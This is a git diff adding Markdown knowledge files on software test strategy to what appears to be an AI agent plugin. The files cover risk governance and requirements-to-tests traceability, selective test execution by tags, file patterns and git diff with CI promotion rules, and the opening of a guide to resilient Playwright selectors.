+// Markdown report with critical risks, owners, deadlines
+
+// View history
+console.log(tracker.getHistory('risk-001'));
+// [
+//   { event: 'Risk registered: SQL injection...', timestamp: ... },
+//   { event: 'Mitigation action added: Add parameterized queries...', timestamp: ... },
+//   { event: 'Mitigation completed: Add parameterized queries...', timestamp: ... }
+// ]
+```
+
+**Key Points**:
+
+- **Ownership enforcement**: Every risk >4 requires owner assignment
+- **Deadline tracking**: Mitigation actions have explicit deadlines
+- **Audit trail**: Complete history of risk lifecycle (registered → mitigated)
+- **Automated reports**: Markdown output for Confluence/GitHub wikis
+
+---
+
+### Example 4: Coverage Traceability Matrix (Test-to-Requirement Mapping)
+
+**Context**: Validate that every acceptance criterion maps to at least one test
+
+**Implementation**:
+
+```typescript
+// coverage-traceability.ts
+export type AcceptanceCriterion = {
+  id: string;
+  story: string;
+  criterion: string;
+  priority: 'P0' | 'P1' | 'P2' | 'P3';
+};
+
+export type TestCase = {
+  file: string;
+  name: string;
+  criteriaIds: string[]; // Links to acceptance criteria
+};
+
+export type CoverageMatrix = {
+  criterion: AcceptanceCriterion;
+  tests: TestCase[];
+  covered: boolean;
+  waiverReason?: string;
+};
+
+export function buildCoverageMatrix(criteria: AcceptanceCriterion[], tests: TestCase[]): CoverageMatrix[] {
+  return criteria.map((criterion) => {
+    const matchingTests = tests.filter((t) => t.criteriaIds.includes(criterion.id));
+
+    return {
+      criterion,
+      tests: matchingTests,
+      covered: matchingTests.length > 0,
+    };
+  });
+}
+
+export function validateCoverage(matrix: CoverageMatrix[]): {
+  gaps: CoverageMatrix[];
+  passRate: number;
+} {
+  const gaps = matrix.filter((m) => !m.covered && !m.waiverReason);
+  const passRate = ((matrix.length - gaps.length) / matrix.length) * 100;
+
+  return { gaps, passRate };
+}
+
+// Example: Extract criteria IDs from test names
+export function extractCriteriaFromTests(testFiles: string[]): TestCase[] {
+  // Simplified: In real implementation, parse test files with AST
+  // Here we simulate extraction from test names
+  return [
+    {
+      file: 'tests/e2e/auth/login.spec.ts',
+      name: 'should allow user to login with valid credentials',
+      criteriaIds: ['AC-001', 'AC-002'], // Linked to acceptance criteria
+    },
+    {
+      file: 'tests/e2e/auth/password-reset.spec.ts',
+      name: 'should send password reset email',
+      criteriaIds: ['AC-003'],
+    },
+  ];
+}
+
+// Generate Markdown traceability report
+export function generateTraceabilityReport(matrix: CoverageMatrix[]): string {
+  let report = `# Requirements-to-Tests Traceability Matrix\n\n`;
+  report += `**Generated**: ${new Date().toISOString()}\n\n`;
+
+  const { gaps, passRate } = validateCoverage(matrix);
+
+  report += `## Summary\n`;
+  report += `- Total Criteria: ${matrix.length}\n`;
+  report += `- Covered: ${matrix.filter((m) => m.covered).length}\n`;
+  report += `- Gaps: ${gaps.length}\n`;
+  report += `- Waived: ${matrix.filter((m) => m.waiverReason).length}\n`;
+  report += `- Coverage Rate: ${passRate.toFixed(1)}%\n\n`;
+
+  if (gaps.length > 0) {
+    report += `## ❌ Coverage Gaps (MUST RESOLVE)\n\n`;
+    report += `| Story | Criterion | Priority | Tests |\n`;
+    report += `|-------|-----------|----------|-------|\n`;
+    gaps.forEach((m) => {
+      report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${m.criterion.priority} | None |\n`;
+    });
+    report += `\n`;
+  }
+
+  report += `## ✅ Covered Criteria\n\n`;
+  report += `| Story | Criterion | Tests |\n`;
+  report += `|-------|-----------|-------|\n`;
+  matrix
+    .filter((m) => m.covered)
+    .forEach((m) => {
+      const testList = m.tests.map((t) => `\`${t.file}\``).join(', ');
+      report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${testList} |\n`;
+    });
+
+  return report;
+}
+```
+
+**Usage Example**:
+
+```typescript
+// Define acceptance criteria
+const criteria: AcceptanceCriterion[] = [
+  { id: 'AC-001', story: 'US-123', criterion: 'User can login with email', priority: 'P0' },
+  { id: 'AC-002', story: 'US-123', criterion: 'User sees error on invalid password', priority: 'P0' },
+  { id: 'AC-003', story: 'US-124', criterion: 'User receives password reset email', priority: 'P1' },
+  { id: 'AC-004', story: 'US-125', criterion: 'User can update profile', priority: 'P2' }, // NO TEST
+];
+
+// Extract tests
+const tests: TestCase[] = extractCriteriaFromTests(['tests/e2e/auth/login.spec.ts', 'tests/e2e/auth/password-reset.spec.ts']);
+
+// Build matrix
+const matrix = buildCoverageMatrix(criteria, tests);
+
+// Validate
+const { gaps, passRate } = validateCoverage(matrix);
+console.log(`Coverage: ${passRate.toFixed(1)}%`); // "Coverage: 75.0%"
+console.log(`Gaps: ${gaps.length}`); // "Gaps: 1" (AC-004 has no test)
+
+// Generate report
+const report = generateTraceabilityReport(matrix);
+console.log(report);
+// Markdown table showing coverage gaps
+```
+
+**Key Points**:
+
+- **Bidirectional traceability**: Criteria → Tests and Tests → Criteria
+- **Gap detection**: Automatically identifies missing coverage
+- **Priority awareness**: P0 gaps are critical blockers
+- **Waiver support**: Allow explicit waivers for low-priority gaps
+
+---
+
+## Risk Governance Checklist
+
+Before deploying to production, ensure:
+
+- [ ] **Risk scoring complete**: All identified risks scored (Probability × Impact)
+- [ ] **Ownership assigned**: Every risk >4 has owner, mitigation plan, deadline
+- [ ] **Coverage validated**: Every acceptance criterion maps to at least one test
+- [ ] **Gate decision documented**: PASS/CONCERNS/FAIL/WAIVED with rationale
+- [ ] **Waivers approved**: All waivers have approver, reason, expiry date
+- [ ] **Audit trail captured**: Risk history log available for compliance review
+- [ ] **Traceability matrix**: Requirements-to-tests mapping up to date
+- [ ] **Critical risks resolved**: No score=9 risks in OPEN status
+
+## Integration Points
+
+- **Used in workflows**: `*trace` (Phase 2: gate decision), `*nfr-assess` (risk scoring), `*test-design` (risk identification)
+- **Related fragments**: `probability-impact.md` (scoring definitions), `test-priorities-matrix.md` (P0-P3 classification), `nfr-criteria.md` (non-functional risks)
+- **Tools**: Risk tracking dashboards (Jira, Linear), gate automation (CI/CD), traceability reports (Markdown, Confluence)
+
+_Source: Murat risk governance notes, gate schema guidance, enterprise production gate workflows, ISO 31000 risk management standards_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/selective-testing.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/selective-testing.md
new file mode 100644
index 0000000..e8becc3
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/selective-testing.md
@@ -0,0 +1,732 @@
+# Selective and Targeted Test Execution
+
+## Principle
+
+Run only the tests you need, when you need them. Use tags/grep to slice suites by risk priority (not directory structure), filter by spec patterns or git diff to focus on impacted areas, and combine priority metadata (P0-P3) with change detection to optimize pre-commit vs. CI execution. Document the selection strategy clearly so teams understand when full regression is mandatory.
+
+## Rationale
+
+Running the entire test suite on every commit wastes time and resources. Smart test selection provides fast feedback (smoke tests in minutes, full regression in hours) while maintaining confidence. The "32+ ways of selective testing" philosophy balances speed with coverage: quick loops for developers, comprehensive validation before deployment. Poorly documented selection leads to confusion about when tests run and why.
+
+## Pattern Examples
+
+### Example 1: Tag-Based Execution with Priority Levels
+
+**Context**: Organize tests by risk priority and execution stage using grep/tag patterns.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Tag-based test organization
+ * - @smoke: Critical path tests (run on every commit, < 5 min)
+ * - @regression: Full test suite (run pre-merge, < 30 min)
+ * - @p0: Critical business functions (payment, auth, data integrity)
+ * - @p1: Core features (primary user journeys)
+ * - @p2: Secondary features (supporting functionality)
+ * - @p3: Nice-to-have (cosmetic, non-critical)
+ */
+
+test.describe('Checkout Flow', () => {
+  // P0 + Smoke: Must run on every commit
+  test('@smoke @p0 should complete purchase with valid payment', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByTestId('submit-payment').click();
+
+    await expect(page.getByTestId('order-confirmation')).toBeVisible();
+  });
+
+  // P0 but not smoke: Run pre-merge
+  test('@regression @p0 should handle payment decline gracefully', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('card-number').fill('4000000000000002'); // Decline card
+    await page.getByTestId('submit-payment').click();
+
+    await expect(page.getByTestId('payment-error')).toBeVisible();
+    await expect(page.getByTestId('payment-error')).toContainText('declined');
+  });
+
+  // P1 + Smoke: Important but not critical
+  test('@smoke @p1 should apply discount code', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('promo-code').fill('SAVE10');
+    await page.getByTestId('apply-promo').click();
+
+    await expect(page.getByTestId('discount-applied')).toBeVisible();
+  });
+
+  // P2: Run in full regression only
+  test('@regression @p2 should remember saved payment methods', async ({ page }) => {
+    await page.goto('/checkout');
+    await expect(page.getByTestId('saved-cards')).toBeVisible();
+  });
+
+  // P3: Low priority, run nightly or weekly
+  test('@nightly @p3 should display checkout page analytics', async ({ page }) => {
+    await page.goto('/checkout');
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS__);
+    expect(analyticsEvents).toBeDefined();
+  });
+});
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "test": "playwright test",
+    "test:smoke": "playwright test --grep '@smoke'",
+    "test:p0": "playwright test --grep '@p0'",
+    "test:p0-p1": "playwright test --grep '@p0|@p1'",
+    "test:regression": "playwright test --grep '@regression'",
+    "test:nightly": "playwright test --grep '@nightly'",
+    "test:not-slow": "playwright test --grep-invert '@slow'",
+    "test:critical-smoke": "playwright test --grep '@smoke.*@p0'"
+  }
+}
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/checkout.cy.ts
+describe('Checkout Flow', { tags: ['@checkout'] }, () => {
+  it('should complete purchase', { tags: ['@smoke', '@p0'] }, () => {
+    cy.visit('/checkout');
+    cy.get('[data-cy="card-number"]').type('4242424242424242');
+    cy.get('[data-cy="submit-payment"]').click();
+    cy.get('[data-cy="order-confirmation"]').should('be.visible');
+  });
+
+  it('should handle decline', { tags: ['@regression', '@p0'] }, () => {
+    cy.visit('/checkout');
+    cy.get('[data-cy="card-number"]').type('4000000000000002');
+    cy.get('[data-cy="submit-payment"]').click();
+    cy.get('[data-cy="payment-error"]').should('be.visible');
+  });
+});
+
+// cypress.config.ts
+export default defineConfig({
+  e2e: {
+    env: {
+      grepTags: process.env.GREP_TAGS || '',
+      grepFilterSpecs: true,
+    },
+    setupNodeEvents(on, config) {
+      require('@cypress/grep/src/plugin')(config);
+      return config;
+    },
+  },
+});
+```
+
+**Usage**:
+
+```bash
+# Playwright
+npm run test:smoke                    # Run all @smoke tests
+npm run test:p0                       # Run all P0 tests
+npm run test -- --grep "@smoke.*@p0"  # Run tests with BOTH tags
+
+# Cypress (with @cypress/grep plugin)
+npx cypress run --env grepTags="@smoke"
+npx cypress run --env grepTags="@p0+@smoke"  # AND logic
+npx cypress run --env grepTags="@p0 @p1"     # OR logic
+```
+
+**Key Points**:
+
+- **Multiple tags per test**: Combine priority (@p0) with stage (@smoke)
+- **AND/OR logic**: Grep supports complex filtering
+- **Clear naming**: Tags document test importance
+- **Fast feedback**: @smoke runs < 5 min, full suite < 30 min
+- **CI integration**: Different jobs run different tag combinations
+
+---
+
+### Example 2: Spec Filter Pattern (File-Based Selection)
+
+**Context**: Run tests by file path pattern or directory for targeted execution.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/selective-spec-runner.sh
+# Run tests based on spec file patterns
+
+set -e
+
+PATTERN=${1:-"**/*.spec.ts"}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🎯 Selective Spec Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Pattern: $PATTERN"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Pattern examples and their use cases
+case "$PATTERN" in
+  "**/checkout*")
+    echo "📦 Running checkout-related tests"
+    npx playwright test --grep-files="**/checkout*"
+    ;;
+  "**/auth*"|"**/login*"|"**/signup*")
+    echo "🔐 Running authentication tests"
+    npx playwright test --grep-files="**/auth*|**/login*|**/signup*"
+    ;;
+  "tests/e2e/**")
+    echo "🌐 Running all E2E tests"
+    npx playwright test tests/e2e/
+    ;;
+  "tests/integration/**")
+    echo "🔌 Running all integration tests"
+    npx playwright test tests/integration/
+    ;;
+  "tests/component/**")
+    echo "🧩 Running all component tests"
+    npx playwright test tests/component/
+    ;;
+  *)
+    echo "🔍 Running tests matching pattern: $PATTERN"
+    npx playwright test "$PATTERN"
+    ;;
+esac
+```
+
+**Playwright config for file filtering**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig, devices } from '@playwright/test';
+
+export default defineConfig({
+  // ... other config
+
+  // Project-based organization
+  projects: [
+    {
+      name: 'smoke',
+      testMatch: /.*smoke.*\.spec\.ts/,
+      retries: 0,
+    },
+    {
+      name: 'e2e',
+      testMatch: /tests\/e2e\/.*\.spec\.ts/,
+      retries: 2,
+    },
+    {
+      name: 'integration',
+      testMatch: /tests\/integration\/.*\.spec\.ts/,
+      retries: 1,
+    },
+    {
+      name: 'component',
+      testMatch: /tests\/component\/.*\.spec\.ts/,
+      use: { ...devices['Desktop Chrome'] },
+    },
+  ],
+});
+```
+
+**Advanced pattern matching**:
+
+```typescript
+// scripts/run-by-component.ts
+/**
+ * Run tests related to specific component(s)
+ * Usage: npm run test:component UserProfile,Settings
+ */
+
+import { execSync } from 'child_process';
+
+const components = process.argv[2]?.split(',') || [];
+
+if (components.length === 0) {
+  console.error('❌ No components specified');
+  console.log('Usage: npm run test:component UserProfile,Settings');
+  process.exit(1);
+}
+
+// Convert component names to glob patterns
+const patterns = components.map((comp) => `**/*${comp}*.spec.ts`).join(' ');
+
+console.log(`🧩 Running tests for components: ${components.join(', ')}`);
+console.log(`Patterns: ${patterns}`);
+
+try {
+  execSync(`npx playwright test ${patterns}`, {
+    stdio: 'inherit',
+    env: { ...process.env, CI: 'false' },
+  });
+} catch (error) {
+  process.exit(1);
+}
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "test:checkout": "playwright test **/checkout*.spec.ts",
+    "test:auth": "playwright test **/auth*.spec.ts **/login*.spec.ts",
+    "test:e2e": "playwright test tests/e2e/",
+    "test:integration": "playwright test tests/integration/",
+    "test:component": "ts-node scripts/run-by-component.ts",
+    "test:project": "playwright test --project",
+    "test:smoke-project": "playwright test --project smoke"
+  }
+}
+```
+
+**Key Points**:
+
+- **Glob patterns**: Wildcards match file paths flexibly
+- **Project isolation**: Separate projects have different configs
+- **Component targeting**: Run tests for specific features
+- **Directory-based**: Organize tests by type (e2e, integration, component)
+- **CI optimization**: Run subsets in parallel CI jobs
+
+---
+
+### Example 3: Diff-Based Test Selection (Changed Files Only)
+
+**Context**: Run only tests affected by code changes for maximum speed.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/test-changed-files.sh
+# Intelligent test selection based on git diff
+
+set -e
+
+BASE_BRANCH=${BASE_BRANCH:-main}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🔍 Changed File Test Selector"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Base branch: $BASE_BRANCH"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Get changed files
+CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
+
+if [ -z "$CHANGED_FILES" ]; then
+  echo "✅ No files changed. Skipping tests."
+  exit 0
+fi
+
+echo "Changed files:"
+echo "$CHANGED_FILES" | sed 's/^/  - /'
+echo ""
+
+# Arrays to collect test specs
+DIRECT_TEST_FILES=()
+RELATED_TEST_FILES=()
+RUN_ALL_TESTS=false
+
+# Process each changed file
+while IFS= read -r file; do
+  case "$file" in
+    # Changed test files: run them directly
+    *.spec.ts|*.spec.js|*.test.ts|*.test.js|*.cy.ts|*.cy.js)
+      DIRECT_TEST_FILES+=("$file")
+      ;;
+
+    # Critical config changes: run ALL tests
+    package.json|package-lock.json|playwright.config.ts|cypress.config.ts|tsconfig.json|.github/workflows/*)
+      echo "⚠️  Critical file changed: $file"
+      RUN_ALL_TESTS=true
+      break
+      ;;
+
+    # Component changes: find related tests
+    src/components/*.tsx|src/components/*.jsx)
+      COMPONENT_NAME=$(basename "$file" | sed 's/\.[^.]*$//')
+      echo "🧩 Component changed: $COMPONENT_NAME"
+
+      # Find tests matching component name
+      FOUND_TESTS=$(find tests -name "*${COMPONENT_NAME}*.spec.ts" -o -name "*${COMPONENT_NAME}*.cy.ts" 2>/dev/null || true)
+      if [ -n "$FOUND_TESTS" ]; then
+        while IFS= read -r test_file; do
+          RELATED_TEST_FILES+=("$test_file")
+        done <<< "$FOUND_TESTS"
+      fi
+      ;;
+
+    # Utility/lib changes: run integration + unit tests
+    src/utils/*|src/lib/*|src/helpers/*)
+      echo "⚙️  Utility file changed: $file"
+      RELATED_TEST_FILES+=($(find tests/unit tests/integration -name "*.spec.ts" 2>/dev/null || true))
+      ;;
+
+    # API changes: run integration + e2e tests
+    src/api/*|src/services/*|src/controllers/*)
+      echo "🔌 API file changed: $file"
+      RELATED_TEST_FILES+=($(find tests/integration tests/e2e -name "*.spec.ts" 2>/dev/null || true))
+      ;;
+
+    # Type changes: run all TypeScript tests
+    *.d.ts|src/types/*)
+      echo "📝 Type definition changed: $file"
+      RUN_ALL_TESTS=true
+      break
+      ;;
+
+    # Documentation only: skip tests
+    *.md|docs/*|README*)
+      echo "📄 Documentation changed: $file (no tests needed)"
+      ;;
+
+    *)
+      echo "❓ Unclassified change: $file (running smoke tests)"
+      RELATED_TEST_FILES+=($(find tests -name "*smoke*.spec.ts" 2>/dev/null || true))
+      ;;
+  esac
+done <<< "$CHANGED_FILES"
+
+# Execute tests based on analysis
+if [ "$RUN_ALL_TESTS" = true ]; then
+  echo ""
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  echo "🚨 Running FULL test suite (critical changes detected)"
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  npm run test
+  exit $?
+fi
+
+# Combine and deduplicate test files
+ALL_TEST_FILES=(${DIRECT_TEST_FILES[@]} ${RELATED_TEST_FILES[@]})
+UNIQUE_TEST_FILES=($(echo "${ALL_TEST_FILES[@]}" | tr ' ' '\n' | sort -u))
+
+if [ ${#UNIQUE_TEST_FILES[@]} -eq 0 ]; then
+  echo ""
+  echo "✅ No tests found for changed files. Running smoke tests."
+  npm run test:smoke
+  exit $?
+fi
+
+echo ""
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "🎯 Running ${#UNIQUE_TEST_FILES[@]} test file(s)"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+
+for test_file in "${UNIQUE_TEST_FILES[@]}"; do
+  echo "  - $test_file"
+done
+
+echo ""
+npm run test -- "${UNIQUE_TEST_FILES[@]}"
+```
+
+**GitHub Actions integration**:
+
+```yaml
+# .github/workflows/test-changed.yml
+name: Test Changed Files
+on:
+  pull_request:
+    types: [opened, synchronize, reopened]
+
+jobs:
+  detect-and-test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Full history for accurate diff
+
+      - name: Get changed files
+        id: changed-files
+        uses: tj-actions/changed-files@v40
+        with:
+          files: |
+            src/**
+            tests/**
+            *.config.ts
+          files_ignore: |
+            **/*.md
+            docs/**
+
+      - name: Run tests for changed files
+        if: steps.changed-files.outputs.any_changed == 'true'
+        run: |
+          echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"
+          bash scripts/test-changed-files.sh
+        env:
+          BASE_BRANCH: ${{ github.base_ref }}
+          TEST_ENV: staging
+```
+
+**Key Points**:
+
+- **Intelligent mapping**: Code changes → related tests
+- **Critical file detection**: Config changes = full suite
+- **Component mapping**: UI changes → component + E2E tests
+- **Fast feedback**: Run only what's needed (< 2 min typical)
+- **Safety net**: Unrecognized changes run smoke tests
+
+---
+
+### Example 4: Promotion Rules (Pre-Commit → CI → Staging → Production)
+
+**Context**: Progressive test execution strategy across deployment stages.
+
+**Implementation**:
+
+```typescript
+// scripts/test-promotion-strategy.ts
+/**
+ * Test Promotion Strategy
+ * Defines which tests run at each stage of the development lifecycle
+ */
+
+export type TestStage = 'pre-commit' | 'ci-pr' | 'ci-merge' | 'staging' | 'production';
+
+export type TestPromotion = {
+  stage: TestStage;
+  description: string;
+  testCommand: string;
+  timebudget: string; // minutes
+  required: boolean;
+  failureAction: 'block' | 'warn' | 'alert';
+};
+
+export const TEST_PROMOTION_RULES: Record<TestStage, TestPromotion> = {
+  'pre-commit': {
+    stage: 'pre-commit',
+    description: 'Local developer checks before git commit',
+    testCommand: 'npm run test:smoke',
+    timebudget: '2',
+    required: true,
+    failureAction: 'block',
+  },
+  'ci-pr': {
+    stage: 'ci-pr',
+    description: 'CI checks on pull request creation/update',
+    testCommand: 'npm run test:changed && npm run test:p0-p1',
+    timebudget: '10',
+    required: true,
+    failureAction: 'block',
+  },
+  'ci-merge': {
+    stage: 'ci-merge',
+    description: 'Full regression before merge to main',
+    testCommand: 'npm run test:regression',
+    timebudget: '30',
+    required: true,
+    failureAction: 'block',
+  },
+  staging: {
+    stage: 'staging',
+    description: 'Post-deployment validation in staging environment',
+    testCommand: 'npm run test:e2e -- --grep "@smoke"',
+    timebudget: '15',
+    required: true,
+    failureAction: 'block',
+  },
+  production: {
+    stage: 'production',
+    description: 'Production smoke tests post-deployment',
+    testCommand: 'npm run test:e2e:prod -- --grep "@smoke.*@p0"',
+    timebudget: '5',
+    required: false,
+    failureAction: 'alert',
+  },
+};
+
+/**
+ * Get tests to run for a specific stage
+ */
+export function getTestsForStage(stage: TestStage): TestPromotion {
+  return TEST_PROMOTION_RULES[stage];
+}
+
+/**
+ * Validate if tests can be promoted to next stage
+ */
+export function canPromote(currentStage: TestStage, testsPassed: boolean): boolean {
+  const promotion = TEST_PROMOTION_RULES[currentStage];
+
+  if (!promotion.required) {
+    return true; // Non-required tests don't block promotion
+  }
+
+  return testsPassed;
+}
+```
+
+**Husky pre-commit hook**:
+
+```bash
+#!/bin/bash
+# .husky/pre-commit
+# Run smoke tests before allowing commit
+
+echo "🔍 Running pre-commit tests..."
+
+npm run test:smoke
+
+if [ $? -ne 0 ]; then
+  echo ""
+  echo "❌ Pre-commit tests failed!"
+  echo "Please fix failures before committing."
+  echo ""
+  echo "To skip (NOT recommended): git commit --no-verify"
+  exit 1
+fi
+
+echo "✅ Pre-commit tests passed"
+```
+
+**GitHub Actions workflow**:
+
+```yaml
+# .github/workflows/test-promotion.yml
+name: Test Promotion Strategy
+on:
+  pull_request:
+  push:
+    branches: [main]
+  workflow_dispatch:
+
+jobs:
+  # Stage 1: PR tests (changed + P0-P1)
+  pr-tests:
+    if: github.event_name == 'pull_request'
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run PR-level tests
+        run: |
+          npm run test:changed
+          npm run test:p0-p1
+
+  # Stage 2: Full regression (pre-merge)
+  regression-tests:
+    if: github.event_name == 'push' && github.ref == 'refs/heads/main'
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run full regression
+        run: npm run test:regression
+
+  # Stage 3: Staging validation (post-deploy)
+  staging-smoke:
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run staging smoke tests
+        run: npm run test:e2e -- --grep "@smoke"
+        env:
+          TEST_ENV: staging
+
+  # Stage 4: Production smoke (post-deploy, non-blocking)
+  production-smoke:
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 5
+    continue-on-error: true # Don't fail deployment if smoke tests fail
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run production smoke tests
+        run: npm run test:e2e:prod -- --grep "@smoke.*@p0"
+        env:
+          TEST_ENV: production
+
+      - name: Alert on failure
+        if: failure()
+        uses: 8398a7/action-slack@v3
+        with:
+          status: ${{ job.status }}
+          text: '🚨 Production smoke tests failed!'
+          webhook_url: ${{ secrets.SLACK_WEBHOOK }}
+```
+
+**Selection strategy documentation**:
+
+````markdown
+# Test Selection Strategy
+
+## Test Promotion Stages
+
+| Stage      | Tests Run           | Time Budget | Blocks Deploy | Failure Action |
+| ---------- | ------------------- | ----------- | ------------- | -------------- |
+| Pre-Commit | Smoke (@smoke)      | 2 min       | ✅ Yes        | Block commit   |
+| CI PR      | Changed + P0-P1     | 10 min      | ✅ Yes        | Block merge    |
+| CI Merge   | Full regression     | 30 min      | ✅ Yes        | Block deploy   |
+| Staging    | E2E smoke           | 15 min      | ✅ Yes        | Rollback       |
+| Production | Critical smoke only | 5 min       | ❌ No         | Alert team     |
+
+## When Full Regression Runs
+
+Full regression suite (`npm run test:regression`) runs in these scenarios:
+
+- ✅ Before merging to `main` (CI Merge stage)
+- ✅ Nightly builds (scheduled workflow)
+- ✅ Manual trigger (workflow_dispatch)
+- ✅ Release candidate testing
+
+Full regression does NOT run on:
+
+- ❌ Every PR commit (too slow)
+- ❌ Pre-commit hooks (too slow)
+- ❌ Production deployments (deploy-blocking)
+
+## Override Scenarios
+
+Skip tests (emergency only):
+
+```bash
+git commit --no-verify  # Skip pre-commit hook
+gh pr merge --admin     # Force merge (requires admin)
+```
+````
+
+```
+
+**Key Points**:
+- **Progressive validation**: More tests at each stage
+- **Time budgets**: Clear expectations per stage
+- **Blocking vs. alerting**: Production tests don't block deploy
+- **Documentation**: Team knows when full regression runs
+- **Emergency overrides**: Documented but discouraged
+
+---
+
+## Test Selection Strategy Checklist
+
+Before implementing selective testing, verify:
+
+- [ ] **Tag strategy defined**: @smoke, @p0-p3, @regression documented
+- [ ] **Time budgets set**: Each stage has clear timeout (smoke < 5 min, full < 30 min)
+- [ ] **Changed file mapping**: Code changes → test selection logic implemented
+- [ ] **Promotion rules documented**: README explains when full regression runs
+- [ ] **CI integration**: GitHub Actions uses selective strategy
+- [ ] **Local parity**: Developers can run same selections locally
+- [ ] **Emergency overrides**: Skip mechanisms documented (--no-verify, admin merge)
+- [ ] **Metrics tracked**: Monitor test execution time and selection accuracy
+
+## Integration Points
+
+- Used in workflows: `*ci` (CI/CD setup), `*automate` (test generation with tags)
+- Related fragments: `ci-burn-in.md`, `test-priorities-matrix.md`, `test-quality.md`
+- Selection tools: Playwright --grep, Cypress @cypress/grep, git diff
+
+_Source: 32+ selective testing strategies blog, Murat testing philosophy, enterprise CI optimization_
+```
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/selector-resilience.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/selector-resilience.md
new file mode 100644
index 0000000..06f0b04
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/selector-resilience.md
@@ -0,0 +1,527 @@
+# Selector Resilience
+
+## Principle
+
+Robust selectors follow a strict hierarchy: **data-testid > ARIA roles > text content > CSS/IDs** (last resort). Selectors must be resilient to UI changes (styling, layout, content updates) and remain human-readable for maintenance.
+
+## Rationale
+
+**The Problem**: Brittle selectors (CSS classes, nth-child, complex XPath) break when UI styling changes, elements are reordered, or design updates occur. This causes test maintenance burden and false negatives.
+
+**The Solution**: Prioritize semantic selectors that reflect user intent (ARIA roles, accessible names, test IDs). Use dynamic filtering for lists instead of nth() indexes. Validate selectors during code review and refactor proactively.
+
+**Why This Matters**:
+
+- Prevents false test failures (UI refactoring doesn't break tests)
+- Improves accessibility (ARIA roles benefit both tests and screen readers)
+- Enhances readability (semantic selectors document user intent)
+- Reduces maintenance burden (robust selectors survive design changes)
+
+## Pattern Examples
+
+### Example 1: Selector Hierarchy (Priority Order with Examples)
+
+**Context**: Choose the most resilient selector for each element type
+
+**Implementation**:
+
+```typescript
+// tests/selectors/hierarchy-examples.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Hierarchy Best Practices', () => {
+  test('Level 1: data-testid (BEST - most resilient)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ✅ Best: Dedicated test attribute (survives all UI changes)
+    await page.getByTestId('email-input').fill('user@example.com');
+    await page.getByTestId('password-input').fill('password123');
+    await page.getByTestId('login-button').click();
+
+    await expect(page.getByTestId('welcome-message')).toBeVisible();
+
+    // Why it's best:
+    // - Survives CSS refactoring (class name changes)
+    // - Survives layout changes (element reordering)
+    // - Survives content changes (button text updates)
+    // - Explicit test contract (developer knows it's for testing)
+  });
+
+  test('Level 2: ARIA roles and accessible names (GOOD - future-proof)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ✅ Good: Semantic HTML roles (benefits accessibility + tests)
+    await page.getByRole('textbox', { name: 'Email' }).fill('user@example.com');
+    await page.getByRole('textbox', { name: 'Password' }).fill('password123');
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    await expect(page.getByRole('heading', { name: 'Welcome' })).toBeVisible();
+
+    // Why it's good:
+    // - Survives CSS refactoring
+    // - Survives layout changes
+    // - Enforces accessibility (screen reader compatible)
+    // - Self-documenting (role + name = clear intent)
+  });
+
+  test('Level 3: Text content (ACCEPTABLE - user-centric)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ✅ Acceptable: Text content (matches user perception)
+    await page.getByText('Create New Order').click();
+    await expect(page.getByText('Order Details')).toBeVisible();
+
+    // Why it's acceptable:
+    // - User-centric (what user sees)
+    // - Survives CSS/layout changes
+    // - Breaks when copy changes (forces test update with content)
+
+    // ⚠️ Use with caution for dynamic/localized content:
+    // - Avoid for content with variables: "User 123" (use regex instead)
+    // - Avoid for i18n content (use data-testid or ARIA)
+  });
+
